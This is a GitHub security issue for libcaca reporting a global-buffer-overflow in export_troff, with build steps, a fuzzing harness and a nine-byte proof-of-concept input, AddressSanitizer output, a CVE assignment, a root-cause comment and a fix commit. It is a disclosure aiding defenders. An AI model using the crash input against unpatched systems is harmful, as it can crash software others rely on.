New issue

Jump to bottom

[Security] global-buffer-overflow of export.c in function export_troff #54

Closed NigelX opened this issue on Apr 6, 2021 · 2 comments

NigelX commented on Apr 6, 2021

Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment

System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

```
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
```

or

```
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzze
$ make
```

3.Create the poc_troff.cc && build

```
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

extern "C"  int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

  if(Size<8) return 0;
  size_t len=0;
  char* buffer = (char*)malloc(Size+1);
  memset(buffer,0,Size);
  memcpy(buffer,Data,Size);
  buffer[Size]='\0';
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  for(int i=0;i<4;i++)
        caca_create_frame(cv,0);
  for(int i=0;i<4;i++){
        caca_set_frame(cv,i);
        caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
  }
  void* reData = caca_export_canvas_to_memory(cv,"troff",&len);
  if(reData!=NULL) free(reData);
  caca_free_canvas(cv);
  cv=NULL;
  free(buffer);
  buffer=NULL;

}


int main(int args,char* argv[]){

        size_t  len = 0;
        unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
        len = sizeof(buffer)/sizeof(unsigned char);
        LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
        printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

        return 0;

}
```

4.compile poc_troff.cc

```
clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address  -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_troff
```

5.Run poc_troff

asan info:

```
==1845916==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f28d47e8140 at pc 0x7f28d46fb799 bp 0x7ffe8c4ce450 sp 0x7ffe8c4ce448
READ of size 8 at 0x7f28d47e8140 thread T0
    #0 0x7f28d46fb798 in export_troff /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48
    #1 0x7f28d46fb798 in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:120:16
    #2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_troff.cc:29:18
    #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_troff.cc:44:2
    #4 0x7f28d414a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_troff+0x41c39d)

0x7f28d47e8140 is located 0 bytes to the right of global variable 'ansi2troff' defined in 'codec/export.c:1015:33' (0x7f28d47e80c0) of size 128
SUMMARY: AddressSanitizer: global-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48 in export_troff
Shadow bytes around the buggy address:
  0x0fe59a8f4fd0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0fe59a8f4fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f4ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5010: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x0fe59a8f5020: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 00 00 00 00
  0x0fe59a8f5030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe59a8f5070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1845916==ABORTING
```

👍 1

carnil commented on Apr 13, 2021

CVE-2021-30499 is assigned for this issue

👍 1

jmoellers commented on Apr 19, 2021 • edited

The problem is that

1. sprintf **always** appends a NUL byte
2. the image size if 0x0
   As a consequence, no space is allocated for the image bits and the allocated size of the header does not take the NUL byte into account.
   I suggest silently allocating one additional byte `malloc(*bytes+1);`, maybe only when the size of the image is 0x0.
   See also [Security] heap-buffer-overflow of export.c in function export_tga #53

NigelX closed this as completed on Apr 22, 2021

samhocevar added a commit that referenced this issue on Oct 19, 2021

`Fix buffer overflows in TGA and troff exports (addresses #53, #54)` ··· ab04483

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants